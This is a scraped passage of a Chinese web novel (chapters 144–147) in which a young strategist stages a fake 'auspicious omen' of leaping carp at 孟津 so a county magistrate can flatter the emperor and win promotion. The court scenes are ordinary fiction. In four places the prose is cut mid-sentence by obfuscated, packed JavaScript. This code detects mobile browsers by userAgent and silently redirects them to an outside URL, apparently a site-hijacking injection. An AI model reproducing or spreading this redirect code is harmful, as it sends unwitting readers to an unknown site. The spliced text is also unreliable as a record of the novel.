“大人只要将祥瑞带去京城,陛下龙心大悦,内阁群臣一呼百应。大人危机可解,孟津危机可解,孟津数千流民危机可解!” “大梁上下齐心,各地效仿武王会盟,如孟津祥瑞般,救济陕西。” “万千陕西百姓之未来,皆系于大人之手啊!” “《孟子》曰''民为贵,社稷次之''。今陕西赤地千里,而孟津独收流民、化乱为治,正若武王''孟津观兵而天下归心''。陛下若得知孟津祥瑞,必以大人为''当代召信臣''!" “所以,此次进京,大人尽管放心去之!” 贾邵说这番话的时候,整个人神采飞扬,格外意气风发。 牢狱环境破败。 可他,愣是在这破败之地,指点江山,将整个大梁王朝之事,皆近了然于胸! 原本觉得自己等人赈济灾民,是在做好事的严思远,以及一群小黑子们,被震撼到呆滞。 原来,还可以这样? 原来,这世间真的有这般天纵奇才,能化危机为福泽,满足各方所有人需求,还能拯救万民于水火! 原来,这就是他们曾经不屑一顾的**手段? 这得是何等卓然才情,何等的足智多谋啊! 若严思远等人在震撼。 那么孟津县令已经被贾邵这番话,给说到热血沸腾,激动不已了! 因为一旦此事成了,他一定会一跃成为陛下眼中的‘近臣’! 自此平步青云,官路亨通。 而这,是眼前年龄只有十几岁,在破败的牢狱里,却能对大梁朝堂洞若观火的少年郎,想出的对策。 这如何不让孟津县令心惊? 运筹帷幄,决胜千里! 一计策略,不仅拯救孟津,还将拯救陕西万千百姓! 再过些时日,整个大梁朝堂,包括陛下在内,都会因‘孟津祥瑞’而振奋! 贾邵,以一己之力,安天下社稷! 心里这样想着,孟津县令抬头深深看了一眼贾邵,而后主动一拱手:“先生大才,请随我出狱!” 这般无双才子,岂能待在牢狱当中? 他,注定是要名动四方的! ? 144、被迷死的黑粉们 有实力的人不管走到哪里都会被奉为座上宾。 狱中辩经结束后。 孟津县令亲自将贾邵请出牢狱 且用好酒、好菜热情招待。 县衙后院。 正厅里。 刚沐浴过的贾邵穿着一身藏青色儒衫头发还微微有些湿润。 那张俊朗出尘的脸竟把这套孟津县令匆匆让人买来的普通儒衫穿出了‘公子世无双’的风华! 他端坐在餐桌前慢条斯理进食。 整个人不仅周身气度无双且看起来深不可测。 是的。 经历方才那番对话后在孟津县令眼中这贾邵实乃绝世高人! 就是不知……为何这般高人会跟那群‘反岘同盟’的蠢货厮混在一起呢? 孟津县令犹豫许久还是主动询问道:“先生您……当真是反岘同盟的人?” 完全没道理啊! 听到这话崔岘微微一怔随后摇头失笑:“一场误会罢了我对那崔岘没有任何意见。” 孟津县令松了口气。 他就说嘛这等运筹帷幄的大才子怎么可能跟一群蠢货为伍。 但既然孟津县令提起了‘反岘同盟’崔岘便道:“大人依在下的意思那群反岘同盟的人还有用。” “您把他们放出来城外流民修河堤一事还得靠这群人来帮忙。” 这不是简单的‘以工代赈’。 官府明面上不能参与此事‘百姓自发汇聚修河堤’才是祥瑞的重点。 严思远等人先前自发赈济灾民应该积攒了一些声望让他们引导百姓修河堤刚好合适。 也算给他们一个将功补过的机会。 孟津县令略作思索明白了贾邵的意思冷哼一声说道:“还好有先生在不然这群蠢货要闯下滔天大祸。” 说罢。 他看向衙门一位差役吩咐道:“把那群反岘同盟的人都带过来吧。” 孟津县令对这群蠢货可谓是非常厌恶。 因此他只把崔岘恭敬请出牢狱严思远等人还被关在里面 呢! 一盏茶功夫后。 严思远等人,灰头土脸的来到县衙。 包括两位反岘同盟的前首领,齐怀明、阮修德,也被带了过来。 此二人都是年轻少年,显然已经听说了贾邵的事迹,此刻神情颓丧不安,看向贾邵的目光佩服又感激。 但,相比于他们的灰头土脸,忐忑愧疚。 贾邵端坐在饭桌前,县令大人亲自为他斟酒布菜,好不威风惬意。 孟津县令不理会这帮蠢货,只看向贾邵,放低姿态请教道:“孟津祥瑞一事,从具体细节,到进京面圣,其中每一个关卡都不容出错。” “还请先生不吝赐教!” 严思远等人闻言,神情一振,纷纷看向贾邵。 大家都是差不多的年纪,他们在闯祸。而贾邵,已经能搅动天下风云,让孟津县令俯首请教了! 这是何等风姿啊! 崔岘看向孟津县令,笑道:“大人不必过多担心,你只用记住,此次进京,是为君父分忧,便够了。” “但你我都知道,孟津祥瑞一事,一旦报上去,就算吹嘘的花团锦簇,也难免会引来人怀疑和查证。” 这也是孟津县令担心的事情。 毕竟‘祥瑞’一事,是人为铸就的啊! 经不起查。 此时,便听贾邵继续道:“所以,要给出一个细节来。你主动给出一个细节,就不会在别人质疑你的时候,被迫找补细节,这会让你陷入被动。” “而你给出的这个细节,还得以君父为由头,证实君父是这场祥瑞的关键,被万千百姓感念的圣天子。” 听闻此话。 严思远等人绞尽脑汁,也想不出来,该如何给出这个细节。 孟津县令也想不出——废话,他要是有这种通天手段,何至于40岁还在做县令? 因此,孟津县令站起来,诚恳道:“先生教我!” “君父也是人,是人就会被打动。祥瑞一事,是天恩,是大爱!但说白了,在它花团锦簇的表象下,没有任何情感做支撑。” 崔岘笑道:“陛下因罪己诏一事,一直耿耿于怀。作为臣子臣民,我等自然要为陛下分忧。” “假如,万千陕西流民自发汇于孟津,感念陛下 圣天子恩德,为孟津修筑河堤。在修河堤的时候,黄河鲤鱼跃水而出,百姓纷纷惊呼:这是圣天子,对我等修河堤的褒奖和馈赠啊! “饥肠辘辘的百姓们,就地生火烤鱼,吃下鱼肉后,泣声感慨,世间怎会有这等美味! “真想让我们的陛下,也尝尝这样美味的鱼啊。 “而后,大人您火速进京汇报祥瑞,再派遣船只一艘,带百姓们捕捉的黄河鲤鱼,呈送给陛下。 “这段‘孟津赠鱼感念圣天子’的佳话,足以被记录进史书当中。咱们的陛下,可以和昔日武王、大禹、刘邦那般,被万民臣服,天命所归! “而孟津黄河鲤鱼,也能名传天下。整个孟津捕鱼业,即将会迎来蓬勃发展期。 “孟津对陛下情感这般真挚,陛下又岂会不投桃报李?定会命户部拨粮,赈济孟津!城外的百姓,都能活下来了。 嘶。 听闻这番话,不管是孟津县令,还是严思远等黑粉们,都脸色涨红。 这世间,怎么会有贾邵这般,既能运筹帷幄,又能洞察人心的绝世大才? 一个简单的‘赠鱼’细节,让这个计划,瞬间鲜活了起来,充满了烟火气,和人情味儿! 更重要的是。 ‘赠鱼’和‘祥瑞’捆绑起来,满朝文武不敢有一个人怀疑这件事的真伪,或者来查证。 谁查谁死!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088435|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因为这是为皇帝量身打造的‘祥瑞’啊! 直接完美戳中了皇帝的心! 孟津县令听到这里,终于可以确定,此事,绝对能成! 而作为‘赠鱼’、‘祥瑞’的发起者,他,孟津县令昌涛,要一步登天了! 不仅如此。 整个孟津,也会因此而受益! 想到这里,昌涛激动的有些发抖,他甚至当着严思远等人的面,朝着崔岘感激作揖礼,颤声道:“先生实乃治世大才!我,替孟津百姓,谢过先生的大恩大德! 崔岘笑着摆摆手:“大人,且抓紧时间,安排好后,尽快进京吧。 “朝堂之上气氛紧绷,满朝文武,和陛下,都等着大人送去祥瑞呢。 一番话,说的昌涛激动不已,甚至眼眶都有了泪意。 他今年40岁了,做了十几年的 县令,都没有升迁。 本以为官途无望。 未曾想峰回路转,遇见了贾邵,得人家一番点拨,有了这般风云化龙的泼天机遇! 这,便是人和人之间的差异啊。 你磋磨半生。 都没有人家几句话,来的精彩! 这样想着,昌涛深吸一口气,认真看向贾邵,说道:“先生之恩德,昌涛没齿难忘!” “此后不管何时、何地,先生有需要,尽管开口。我昌涛,愿为先生肝脑涂地!” 这,便是绝世大才璀璨的人格魅力。 昌涛,彻底被贾邵给折服了。 听闻这番话,崔岘站起来,笑道:“大人言重了,您可是我大梁的栋梁之才,这官途之路,才刚刚开始呢。” 昌涛笑的嘴巴都咧到了耳后根。 随后,他又看向严思远、齐怀明、阮修德等反岘同盟的人,笑容骤然一收,冷声道:“尔等还不赶紧将功补罪,去城外引导流民修河堤!” 严思远等人被骂的不敢吭声。 但,这不重要了! 重要的是,他们齐齐看向崔岘,满眼都是崇拜和震撼! 贾邵此人,实乃天纵奇才也! 若是贾邵能来做他们反岘同盟的领袖……那**神童崔岘,顷刻间就会被戳破虚假的面具啊! 因此,虽然先前被贾邵狠狠骂了一顿,严思远还是鼓足勇气,乞求道:“贾邵兄,你……你可愿来做我们反岘同盟的领袖?” “对,贾邵兄大才,实乃我等楷模。” “我等今日见到贾邵兄,才知何为皎皎皓月!” “您才是真正的无双国士啊!” “那崔岘,和您相比,连您的脚指头都比不过!” 其余黑粉们,纷纷狂热附和,看向贾邵的目光中,满是崇拜。 大才子,书圣,实干家,为国为民。完美戳中反岘同盟所有人的心窝。 他们要被贾邵给迷**! ? 145、祥瑞进京 对于反岘同盟的隆重邀请,崔岘表示:谢谢,婉拒了哈。 甚至他还没表态。 作为贾邵的‘新晋粉丝’。 孟津县令昌涛当即站出来维护偶像,呵斥严思远等人:“你们这帮人,竟敢痴心妄想,让贾邵先生做你们的领袖?” “你们配吗?!” 众黑粉脸色涨红:“……” 他们确实不配! 但,这世间,崔岘之流众多,大梁岌岌可危。 唯有贾邵这样身负大才之人,才能济世救民啊! 他们还想再厚着脸皮乞求贾邵。 但昌涛已经不耐烦了,把这群人赶出去:“莫要再叨扰先生,你们赶紧去将功补罪,把事情办好!否则——” 这声‘否则’,威胁意味很明显。 严思远等人齐齐打了个寒颤,随后互相振奋对视:我们要把这件事办好,让贾邵先生,认可我们! 于是,他们重燃斗志,兴奋而去。 目睹这一切的崔岘:“……” 小黑粉们果然都脑袋有问题。 难道我要加入你们反岘同盟,成为我自己的黑粉头子吗? 多荒谬啊。 当日。 崔岘在孟津县衙,悠哉悠哉品茗、晒太阳。 而另一拨人,已经开始忙碌起来了! 孟津县令返回衙署,用尽自己毕生才华,写了一封《孟津河工祥瑞疏》的奏折。 写这封奏折的时候,昌涛激动的数次指尖发抖。 因为他写的不仅仅是奏折。 还是孟津县,和他这位孟津县令的锦绣未来啊! 另一边。 严思远、齐怀明、阮修德,带着数十位反岘同盟的读书人,离开县衙,往城外赶去。 还有数十位昌涛安排的差役,工匠穿着便服,跟随着他们。 孟津县城气氛紧绷。 百姓们都知道,城外来了数以千计的流民,一旦发生动荡,后果不堪设想。 严思远等人走在街道上,看着神情慌乱的百姓们,沉默无言。 此刻,真正走在市井当中,他们才意识到,自己等人此前的所作所为,有多愚 蠢。 而贾邵,凭一己之力,扭转乾坤,力挽狂澜! 把一件坏事,彻底变成了大好事,让各方所有人都受益的大好事! 孟津捕鱼业,即将迎来一场蓬勃机遇。 整个孟津,都会因此而腾飞! 严思远沉默许久,说道:“怀明兄,修德兄,还有诸位。往日我们总是批判崔岘**神童,自诩为国为民的实干家。” “可今日,见过贾邵,我等才知自己,和真正大才之人的差距,犹如鸿沟天堑。” “此事结束后,不管你们怎么想,我都想追随贾邵,向他学习!” 其余反岘同盟成员互相对视,齐齐点头附和。 显然,他们是真的被贾邵彻底给折服了。 他们要追随贾邵! 哪怕贾邵看不上他们,他们也要以贾邵为表率榜样! 或许是‘偶像’给他们带来了力量。 在数十位便衣衙门差役、工匠的帮忙下,反岘同盟成员来到城外,悄悄散布出一个惊人的消息: 孟津县令有意‘以工代赈’,但仍旧在迟疑。 大家吃完了赈灾粥粮以后,都去主动帮孟津县修河堤吧! 只要河堤修的好,以后肯定会能吃饱饭的! 城外都是逃难来的流民,只为图个温饱,听到这话,哪有不愿意的? 严思远等人,一开始自掏腰包赈济灾民,本就在灾民当中很有声望。 他们的话,起到了作用。 于是,明面上没有官府人员参与。 暗地里在便衣衙役、工匠们的刻意引导下,流民们被收编安顿,开始修河堤。 当夜。 不知怎地,有大量黄河鲤鱼,从水中跳上岸。 有人突然激动大喊:“这是陛下恩德,是祥瑞啊!感谢陛下,感谢陛下馈赠!” 流民们不明所以,但都很是激动,跟着纷纷感谢陛下。 他们在河边点起火堆,吃烤鱼。 又有人泣声道:“这么美味的鱼,我等生平头一次吃到,真想让陛下,也尝一尝啊!” 流民们美滋滋吃饱了,不介意跟着一起夸赞陛下,说点没用的屁话。 但谁都没把自己抢到的鱼,真的 贡献出来。 唯有几个认识严思远的百姓,很是懵逼:这不是前几日赈灾的富家少爷们吗?怎地吃一条鱼都这般感动? 但,这些不重要。 重要的是,黄河鲤鱼自发跳上岸的事情,轰然传开。 人们都在说,那是祥瑞! 一开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088436|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,众人还只是实事求是,说有几十条鱼跳出水面。 再到后来,变成了成百上千的鱼跳上岸,目之所及,全都是大鲤鱼! 因为,那是百姓自发修筑河堤,感动了上苍,感动了陛下,所以降下的恩赐啊! 祥瑞一说,彻底流传开来。 次日一早。 孟津县令昌涛,将写好的奏疏,郑重收入怀中。而后牵着一匹快马,和一位差役一起,准备进京! 离开之前。 昌涛对着贾邵郑重作揖:“先生,我去了。” 崔岘年轻的眉眼里,是一切尽在掌握当中的自信,和神采飞扬的笑意:“大人且去吧,我在孟津,静等大人凯旋。” 这般运筹帷幄的姿态,实在令人心折。 也给了孟津县令无尽的信念! 因此,昌涛深吸一口气,振奋笑道:“好!” 这个清晨。 当数以万计的陕西百姓,因为旱灾,陷入哀痛苦难。 当孟津城外的流民无法安顿。 当孟津城内百姓一片惶恐。 当整个大梁朝堂气氛紧绷,皇帝失去对臣子的信任,因‘罪己诏’一事,再度不肯上朝。 当内阁焦头烂额。 当首辅郑霞生,跟河南布政使李端,在期盼一场奇迹的时候。 孟津县令昌涛,带着贾邵赠与他、赠与整个大梁的奇迹,自孟津骑快马,携一往无前之势,悍然朝着京城疾驰而去! 与此同时。 一艘大船,自孟津渡口出发北上,里面装着大量新鲜的、美味的黄河鲤鱼! 孟津县衙。 崔岘坐在躺椅上,悠闲晒太阳,嘴角带着笑意。 他还未出仕,未曾进入朝堂。 但,有些事情,进了朝堂,反而就不好办了。 灶台要提前烧起来,将来才会暖和。 孟津一事,是他偶然遇到的。但正是这番偶然,造就了一番神来之笔的后续。 作为首辅郑霞生的徒孙,崔岘做这一切,目的性有点太明确,还涉嫌党争。 但作为贾邵,他做这些,刚刚好! 陛下,尝一尝我给你量身定做的‘糖衣炮弹’吧。 记住贾邵这个名字。 将来‘贾邵’变‘崔岘’的时候,我就不再只是首辅郑霞生的徒孙了。 我还是陛下您的天子门生啊! ? 146、龙心大悦,百官狂欢(上) 昌涛自孟津出发,骑快马,一路昼夜不停,赶往京城。 随从的差役劝说道:“大人,咱们这么赶路,您身体会遭不住的。” 昌涛闻言大喜。 还有这种好事儿? 要得就是身体遭不住,拖着一副疲惫无力的身体,登上朝堂面圣那种效果啊! 贾邵先生都差把饭喂自己嘴里了,昌涛觉得,自己要还是把握不住机会—— 那就干脆回家吧! 随从差役看着日夜赶路,越疲惫、反而越兴奋的县令大人,有点害怕。 大人,歇歇吧,您实在太努力了! 第五日傍晚。 太想进步的昌涛,拖着颤颤巍巍的身体,苍白着脸进京,叩开了首辅郑霞生家的大门。 当时。 郑霞生跟李端,正在书房议事。 盖因明日,李端便要启程去陕西赈灾。 但陛下先是经历了‘宫女**案’,后又经历了‘罪己诏事件’,性情变得异常敏感,令人琢磨不透。 甚至不再愿意上朝。 偶尔来一次朝会,便大发雷霆,怒斥百官‘目无君父’。 这种君臣失和的情况,已经持续了整整一年。 朝堂百官日日战战兢兢:你可知道我们这一年是怎么熬过来的! 君臣上下不齐心,如何解决陕西旱灾? 旱灾解决不了,陛下时不时想起‘罪己诏’一事,每日如鲠在喉,刺的他寝食难安。 罪己诏虽未下,但是也足以让皇帝颜面尽失了! 这种情况下,李端去陕西,实在危险。 因此,师徒二人面色都非常凝重。 奇迹,到底是没盼来啊! “禀阁老,孟津县令求见!” 听到这话,一把年纪的郑阁老,心脏都开始突突了。 李端也吓了一跳。 孟津?那可真是一个要命的地方啊! 这个节骨眼,孟津要是出事儿……不敢想陛下得发多大的怒火。 但,县令无诏进京,显然是出大事儿了啊! 郑霞生疲惫的揉了揉额角:“让他进来。” 阁老大人 已经在心里做好最坏的打算了。 未曾想。 孟津县令进来的第一句话,便让书房里的师徒二人懵了:“阁老,大喜啊!孟津天降祥瑞!” 什么? 李端沉声道:“仔细说来!” 一盏茶功夫后。 郑霞生朗声大笑。 李端满脸‘竟还有这等好事儿’的不可置信。 奇迹,这就是奇迹吧! 师徒二人互相对视,一扫方才的颓废:此事,大有可为! 只要做的漂亮,顷刻便能抚平陛下的芥蒂,修补和陛下的关系! 可,这种‘祥瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088437|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’也很容易被戳破,孟津县令倒是胆大,敢直接进京。 一旦没安排妥当,弄巧成拙,马屁拍到马腿上,那便是:阿其所好,反触逆鳞。 因此,郑霞生还有些犹豫。 昌涛见状哪里还有不懂的?毕竟这些问题,贾邵先生都提前考虑好了啊! 贾先生,实乃大才! 孟津县令很清醒,知道这个功劳,不是他自己能全部揽下的:因为敢在朝堂,敢在陛下面前打肿脸充胖子,是嫌自己活得太长了! 是以。 孟津县令深吸一口气,道:“阁老,您放心,此事都已经完美解决了……下官遇到一个绝世大才子,他叫贾邵……” “当日在监狱中……孟津的渔船,也很快便能抵达京城。” 听完孟津县令的话,书房里一片安静。 郑霞生,李端互相对视,都看了彼此眼中的惊艳。 好一个运筹帷幄,神机妙算的无双少年郎啊! 身在江湖,却能对庙堂之事洞若观火。 不仅把**玩的出神入化。 一个“赠鱼”小细节,还带着人间市井烟火味儿。 当今皇帝陛下,可太吃这个‘马屁’了! · Ps:生病了在诊所一边挂水一边用手机打字,结果章节写一半,不小心误触发出去了啊啊啊啊啊,哭了。等我下个章节吧兄弟姐妹们。 ? 147、龙心大悦,百官狂欢(下) 郑霞生甚至觉得,此事,不仅仅是陛下会吃这个‘马屁’那般简单。 这,简直就是给陛下量身定制的‘祥瑞’啊! 更妙的是。 此刻不仅陛下,朝堂,陕西,乃至整个大梁,都需要一场‘祥瑞’! 这一手,堪称各方共赢的神来之笔。 一场由一个人,送给整个大梁的祥瑞奇迹! 贾绍其人,手段实在不凡。 而且听孟津县令昌涛所言,这个贾邵,也是位年轻的少年郎。 那个瞬间,郑阁老因‘祥瑞’想到了国事,朝堂,陛下。 但最先想到、也最重要的,其实是他家的乖乖徒孙小崔岘。 这个贾邵,年轻,又有真本事。 先笼络一番,以后来辅助他家小崔岘,很合适啊。 因此,郑阁老看向孟津县令昌涛,意味深长道:“还好你够老实,本分和盘托出实情,没有把贾邵的功劳,全都揽在自己身上。” “否则,你这位祥瑞县令,怕是也捞不得半分好处。” 昌涛慌忙摇头,他哪敢啊! 郑霞生见状,笑道:“既然你得了这大造化,那本官便再跟你交代几句。” 昌涛闻言哪里还有不懂得,激动道:“恳请阁老赐教。” 郑霞生道:“你今日,就当没来过本官府上,去宫门外候着吧。明日早朝,自行求见陛下。” “上了朝堂,关于贾邵,一字不必提。按照他教你的,说给陛下、百官听便好。” “陛下定会龙颜大悦,狠狠夸赞你。但,你的考验才刚刚开始,下朝后,陛下定会私下宣你面圣,先不由分说冷脸斥责你。但别怕,你稳住心神。” “届时,实话实说,包括贾邵,包括你私下来本官府邸一事,莫要愚蠢到试图隐瞒。” “若是陛下有些问话,你不知道怎么回答,本官教你个办法:装傻充愣,使劲夸赞贾邵,再使劲夸赞陛下得此良才便好。” 昌涛认真听着,一字都不敢落下。 最后,郑霞生挥挥手:“出去吧。对了,此事结束,返回孟津后,别忘了把我交代你的,全盘说给那贾邵听。” 阁老大人,这是在借此笼络贾邵先生呢! 昌涛听懂了,朝着 郑霞生、李端恭敬行揖礼,而后出了阁老府邸。 书房里。 李端振奋道:“老师,咱们危机解除了!” 郑阁老抚须笑道:“这个祥瑞,来的可真是时候。可本官怎么觉得,此祥瑞,不仅像是特地送给陛下的,也像是特地送给本官的呢?” 因为真的太妙,太是时候了。 前首辅因‘罪己诏’被贬。 而现首辅却给陛下送来‘祥瑞’。 两相对比,高下立判啊! 李端闻言,思忖道:“或许,是那贾邵,有意向我们投诚?” 或许吧。 郑阁老摇摇头:“且等为师先笼络住那贾邵,以后找合适的机会,让他跟小崔岘认识一番。” 李端懂了老师的意思,笑道:“大善。” 当夜。 昌涛在宫门外守了一夜,要求见陛下。 而郑阁老,则是连夜去了内阁衙房留宿。 次日天蒙蒙亮,阁老大人提早起床,托司礼监太监,给陛下递话,恳请今日陛下上朝。 刚起床的嘉和皇帝坐在龙榻上,哂笑道:“哼!怕是又有哪里出事儿了。才会让郑霞生巴巴过来,提前请朕上朝。” 司礼监太监笑道:“哎哟,陛下您说的,奴才也听不懂。但奴才是觉得,这朝堂上,没有陛下您在,政务就处理不了啊。” 嘉和皇帝指着司礼监太监直笑,低声说了句浑话:“你懂个屁,蠢货。” 接着又说道:“给朕更衣吧。” 皇帝要上朝。 司礼监很快把消息递出去。 百官早早都在宫门外候着了,猜测今日陛下究竟会不会开朝会议政,或者照旧让大家散了。 但今日,气氛有点不对劲。 因为孟津县令,在宫门中道上跪着,说是要面圣。 ……等等,兄弟,你是哪里来的? 孟津!! 哎呦我的老天爷! 一帮睡眼惺忪的朝堂老大人们,瞌睡都给吓没了,满脸惊恐——这个节骨眼,难不成孟津又出事儿了? 真要命啊! 更要命的是,许久不上朝的陛下,今日竟然要上朝了! 于是,文武百官进金銮殿的时候,一个个安静如鸡,恨不得自己是个哑巴,或者透明人。 山雨欲来,不敢动,根本不敢动啊! 果然。 当孟津县令求见陛下的消息,传到朝堂后。 嘉和皇帝的脸色,一下子就沉了下来,愠怒道:“宣。 那一刻,皇帝心中也想了很多。 孟津! 武王会盟之地,大禹治水渡口,光武帝在孟津山林得白鹿指引脱险。 别人都是祥瑞! 到了朕这里,又会是什么灾难? 难不成还要让朕下罪己诏? “宣孟津县令觐见! 在凝滞压抑的氛围中,脸色苍白,风尘仆仆,十分虚弱的孟津县令昌涛,一步三摇颤巍巍登上朝堂。 司礼监太监见陛下神情不对,率先发难,尖声道:“大胆孟津县令,无诏进京,尔可知罪! 在朝堂诸位大人哆嗦着的注视下。 孟津县令一甩官袍,双膝下跪,先三叩首,后震声道:“臣,孟津县令昌涛,无诏进京,犯下滔天罪祸,万死不辞! 嘉和皇帝坐直身体,于龙椅上高高俯视昌涛:“既知万死不辞,为何还要犯错? 来了,来了! 文武百官屏住呼吸,有胆小者,甚至闭上了眼睛。 兄弟,说吧,给大家个痛快! 昌涛半直起身体,大声道:“启禀陛下,盖因孟津有祥瑞降生,臣心系天命所归君父,特进京面圣。 什、什么? 听到这话,本来都做好最坏打算的群臣百官们,愣住了。 ……祥瑞? 连嘉和皇帝都怔愣片刻,随后不动声色道:“哦? 孟津,祥瑞。 戳的太准了。 因此,皇帝用一个含糊的‘哦’字,来掩饰情绪。 文武百官齐齐看向昌涛,暗中互相交换眼神。 昌涛在袖中狠狠掐了自己一把,泣声激动道:“启禀陛下,月余之前,数千因陕西旱灾而逃难的流民,汇聚于孟津城外。 此言一出,满朝堂哗然。 有言官没忍住,怒斥道:“大胆!旱灾大难,流民 疾苦你竟敢声称祥瑞是何居心!” 嘉和皇帝淡淡道:“让他把话说完。” 昌涛壮着胆子抬起头来一双红肿泪眼看向皇帝神情振奋又激动:“陛下圣明!孟津穷苦小地如何能安置这般多流民。” “然而是微臣短视是微臣愚钝了啊!” “百姓们在孟津汇聚非但没有生事端反而自发汇聚起来在孟津渡口修整河堤!” “他们说陕西河南不分家!陕西饱受旱灾之苦河南饱受黄河决堤之难!如今陕西太苦了可不能让河南的百姓也遭此苦难否则我大梁危矣!君父又该有多心痛多操劳啊!” “陛下!《孟子·梁惠王下》篇曰:乐民之乐者民亦乐其乐。” “《尚书·禹贡》载大禹''导河积石至于孟津''。” “昔武王会盟乃''诛一夫纣''今万千流民感念圣天子如武王安民心汇于孟津。此乃海晏河清之祥瑞彰显君父圣天子如武王得''天命所归''啊!” 这番话是贾邵的原话。 当日在牢狱听完这话的昌涛很是震撼。 今日在朝堂当着文武百官的面他震声喊出来震撼力度更是惶惶不可挡! ‘祥瑞’、‘天命所归’等字眼在朝堂之上回荡。 震的百官神情各异。 连嘉和皇帝都眯起眼睛目光奇异的看向昌涛。 但他没有第一时间开口。 还是那句话:上赶着的永远都是便宜货! ‘祥瑞’一事在没有彻底板上钉钉之前皇帝不可能先表态。 更不可能接下。 首辅郑霞生适时站出来问出了所有人的疑惑:“你说数千流民汇孟津自发修河堤。这般多流民如何果腹生存?” 昌涛涨红了脸激动道:“回阁老的话 “而就在微臣开仓放粮的当夜百姓们在河堤旁酣睡之时黄河里有大量鲤鱼跳上岸来!河水翻滚鲜鱼上岸百姓们欢呼不已在河边享受上天享受陛下的鱼获馈赠。” “这定是上苍感念大梁百姓之功德为百姓们降下鱼获果腹啊!” “万千流民感念圣天子如武王安民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088438|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,汇于孟津修河堤。上苍彰显陛下乃天命所归之圣天子,降下鱼获,此乃祥瑞! “陛下! 说到这里,昌涛泪声叩首:“孟津流民尝过黄河鲤鱼后,直呼鲜美!想要远在京城的陛下您,也来尝一尝。因此,得知微臣要进京面圣,百姓们自发将最鲜美的黄河鲤鱼供奉出来,让微臣呈送给您。 “微臣骑快马一路入京,装满孟津流民一片拳拳之心的鱼获,正在运往京城的路上! “微臣斗胆替孟津百姓问一句:陛下,可喜吃鱼否? 朝堂之上一片安静。 唯有昌涛的话,在金銮殿上回荡。 嘉和皇帝定定看向昌涛,眼神越来越亮,越来越亮。 等最后听到那句‘陛下可喜吃鱼否’的时候,更是将半边身子斜靠在龙椅上,姿态惬意极了。 但,他仍旧没吭声。 而满朝文武瞠目看向昌涛,心里齐齐浮现出一句话:兄弟,牛逼啊! 哪怕知道这事儿有猫腻,也没人敢说。 连最喜欢喷人的言官,都一个个哑声熄火。 这谁敢喷? 而且,如今的大梁朝堂,太需要这样一场‘祥瑞’了啊! 牛逼!孟津县令牛逼! 朝堂之上,一扫先前的凝滞压抑。 郑霞生率先站出来,俯身跪下叩拜:“《尚书·泰誓》载:八百诸侯不期会孟津。 “《尚书·禹贡》载大禹''导河积石,至于孟津'',成治水之功。 “《后汉书》载:光武皇帝猎于孟津,白鹿衔瑞草而导脱险厄。 “今,数千流民不期而遇会孟津,正如武王八百诸侯会盟。百姓自发修河堤,正如大禹导河积石,成治水之功!黄河鲤鱼跃水而出,献赤鳞于岸侧,百姓感念圣恩赠鱼,正如白鹿衔瑞草赠光武皇帝。 “此乃《诗经·鱼丽》载:物其多矣,维其嘉矣之象,乃《孟子·梁惠王下》篇载:民之所归,天必从之。 “伏惟陛下德比禹、武,瑞应如光武。实乃‘协和万邦,黎民於变时雍’也,乃《尚书·尧典》之圣天子也! “孟津之祥瑞,乃我大梁之祥瑞,陛下之祥瑞! “微臣恭喜陛下,贺喜陛下! 有阁老做最后的‘祥瑞事件’总结。 百官齐齐跟着跪下,振奋高呼:“微臣恭喜陛下,贺喜陛下!” 龙椅上,嘉和皇帝终于爽朗笑出声。 但他仍旧矜持的,并未应下‘祥瑞’一事,而是笑着看向昌涛:“朕吃过黄河鲤鱼,味道确实鲜美。你心系君父,无诏进京一事,无罪。” “谢陛下。” 昌涛叩谢,而后不知怎地,竟身子一歪,跌倒在金銮殿上,惶恐道:“臣日夜疾驰进京,不敢懈怠,导致身体虚弱,殿前失仪,恳请陛下责罚。” 文武百官:“……” 真是显着你了,装货。 嘉和皇帝笑道:“无碍……爱卿一副拳拳心意,朕心领了。来人,带爱卿下去休息,再命太医院的人,来给爱卿把脉。” 他想称呼昌涛一句某爱卿,但是才惊觉,刚才昌涛自报家门的时候,他根本没记住。 